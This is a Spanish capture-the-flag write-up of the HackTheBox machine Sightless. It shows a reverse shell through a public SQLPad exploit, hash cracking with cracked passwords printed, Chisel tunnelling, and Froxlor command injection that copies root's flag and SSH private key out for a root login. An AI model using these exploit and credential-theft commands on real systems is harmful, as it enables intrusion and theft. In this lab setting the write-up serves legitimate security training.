> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md).

# Resolución de HackTheBox Sightless

{% embed url="<https://app.hackthebox.com/machines/Sightless>" %}

{% hint style="warning" %}
**Habilidades**:

* Explotación de SQLPad
* Sistema de enumeración LINpeas
* Cracking de hashes (John)
* Redirección de puertos (chisel)
* Froxlor (inyección de comandos )
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/40db0de4777bea69f34ad0f4108d2b617ee3ba0e" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/6edeb8fd6e53af71289d711430605e7f70276d08" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts
```

<figure><img src="/files/fbc76276a3d31539548cd058af917f4968758838" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (21,22,80)

<figure><img src="/files/69080a1cf7e51e7b8e14e5b14d50673bdd640227" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,22,21 10.10.11.32 -oN targeted
```

<figure><img src="/files/df051d65b57be9c7c136fd663f9480842c77aa20" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/274878458f5c25f4ceb6b9b2057274fa41d0da1b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/043f0955cf6a7bd69e4e55300430360a0e2b5966" alt=""><figcaption></figcaption></figure>

Encontramos un correo electrónico potencial: `sales@sightless.htb`

<figure><img src="/files/97ad3c76c789425c6597ef0cb7c298c911a85cee" alt="" width="563"><figcaption></figcaption></figure>

## Vulnerabilidad de SQLPad:

{% hint style="info" %}
**SQLPad** es una herramienta de código abierto que facilita ejecutar, ver y compartir consultas SQL mediante una interfaz web fácil de usar. Es ideal para equipos de datos o desarrolladores.
{% endhint %}

<figure><img src="/files/232b681955b91413f5e99a86b06d27fcaa43750c" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="/files/e702c0057b72cb51408f0c3f45f25bf15f3938e6" alt=""><figcaption></figcaption></figure>

**Versión vulnerable:**

La instancia en `http://admin.sightless.htb` usa SQLPad 6.10.0, que tiene una vulnerabilidad conocida.

<figure><img src="/files/64c35d1eb79d21056371040850abb96fdc6a44c3" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**Instalación:**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**Ejecución del exploit:**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

Escuchamos en el puerto 443 con `nc`y obtenemos acceso.

<figure><img src="/files/4fdacbe4355acebd3b90dcd0fa8f0e8fd431b8a4" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

Al acceder a la raíz del sistema, encontramos dos usuarios: `michael` y `node`, así como un script llamado `linpeas.sh`. Este último se usa para enumerar el sistema y detectar posibles vulnerabilidades.

<figure><img src="/files/cf8e299d6a21780600f8e2e3b6188e7e245c7e3b" alt=""><figcaption></figcaption></figure>

### **Enumeración del sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** <a href="#system-enumeration-linpeas" id="system-enumeration-linpeas"></a>

<figure><img src="/files/9bf2c66c5194f56fd69b526c2f73eb4aa33c859c" alt=""><figcaption></figcaption></figure>

Usamos Linpeas para el reconocimiento de privilegios y descubrimos las contraseñas hasheadas de los usuarios `root` y `michael`.

<figure><img src="/files/cef36ca12d43d2246f8f3e6e418b5e6a2ccae3d1" alt=""><figcaption></figcaption></figure>

Intentamos crackear estas contraseñas con John y el diccionario Rockyou:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Estas son las contraseñas recuperadas:

`root:blindside`

`michael:insaneclownposse`

<figure><img src="/files/893a381314e06f451c545c916e70af9a7a0726c9" alt=""><figcaption></figcaption></figure>

### Bandera user.txt

Al iniciar sesión con el usuario `michael`, obtenemos el archivo `user.txt`. Sin embargo, la contraseña de root parece incorrecta.

<figure><img src="/files/a927fe819c65088e5731fbd371241eeda092c043" alt=""><figcaption></figcaption></figure>

### **Chisel (Redirección de puertos)**

Primero observaremos los puertos abiertos internamente con el siguiente comando:

```bash
netstat -nltp
```

Notamos que el puerto **8080** llama nuestra atención.

<figure><img src="/files/16ee0b536970b93d91167edfe6b035e932871548" alt=""><figcaption></figcaption></figure>

Al hacer una `curl` solicitud a este puerto, obtenemos una página HTML que contiene un formulario de inicio de sesión con nombre de usuario y contraseña.

<figure><img src="/files/bdaa41ce6ebbfa83eabf7e0b4ed034f232e18ab5" alt=""><figcaption></figcaption></figure>

Para exponer este contenido interno al exterior, utilizaremos la herramienta **Chisel** Transferiremos el binario de Chisel a nuestra máquina usando **Python** y **wget**:

```bash
wget http://10.10.15.35:321/chisel

python3 -m http.server 321
```

<figure><img src="/files/d01caf949e80a67a33111f543cd34b2938eb5697" alt=""><figcaption></figcaption></figure>

A continuación, escuchamos en nuestra máquina atacante en el puerto **8888**:

```bash
chisel server -p 8888 -reverse
```

En la máquina objetivo, ejecutamos el script de Chisel en modo cliente para conectarlo con nuestra máquina atacante en el puerto **8888**. Así redirigimos el localhost del puerto de la víctima **8080** a nuestro puerto **8081**:

<figure><img src="/files/cb0cd5210a21229ff169c64ee3d8b85220574469" alt=""><figcaption></figcaption></figure>

De este modo, exponemos externamente el servicio que se ejecutaba internamente en el puerto **8080** (**Froxlor**).

<figure><img src="/files/5bfcd07d604b507c3b1acb6b1c66284b0e8145a3" alt="" width="563"><figcaption></figcaption></figure>

`admin:ForlorfroxAdmin`

{% hint style="info" %}
Froxlor es un panel de control de gestión de alojamiento web que permite a los usuarios administrar fácilmente sus servidores y servicios de hosting. Proporciona una interfaz fácil de usar para configurar y administrar recursos del servidor, como dominios, bases de datos, cuentas FTP y servicios de correo electrónico.
{% endhint %}

**Crear una nueva versión de PHP:**

Después de iniciar sesión, ve a la sección “PHP”, luego a “PHP-FPM Versions” y crea una nueva versión. En el campo del comando de reinicio de PHP-FPM, introduce el siguiente comando: `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/59ef5e8b950e9af8db12dd294662343fdae5c03b" alt=""><figcaption></figcaption></figure>

Guarda la configuración y luego ve a `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Desactiva PHP-FPM y guarda los cambios, luego vuelve a activarlo y guarda de nuevo. Esto hará que se ejecute el comando de copia.

<figure><img src="/files/64a065fabf8b25f54f4c374db5a14689cb4b5626" alt=""><figcaption></figcaption></figure>

Aquí está el archivo, ahora debes darle los permisos:

<figure><img src="/files/667a06416f1876bde59cbfffeaa9668ef601bd06" alt=""><figcaption></figcaption></figure>

Para continuar, repite el mismo proceso pero reemplaza el comando por:

```bash
chmod 644 /tmp/root.txt
```

### Bandera root : )

<figure><img src="/files/25727258b15730cdbc76a13a14f24a1592ac14a9" alt=""><figcaption></figcaption></figure>

Para conectarte, solo tienes que copiar la clave `id_rsa` (SSH desde root) y repetir el procedimiento para restaurar los permisos:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/c9aeb96b891ee30f6c186c3eb86e0f8cb143e0ea" alt=""><figcaption></figcaption></figure>

Luego inicia sesión con la clave vía SSH:

```bash
ssh -i id_rsa root@localhost
```

<figure><img src="/files/c6ea63501a8d28fd040a98abd6844b313ce91666" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4501a39aed0e2c6f2fff09ea025e8565e05754a3" alt="" width="543"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
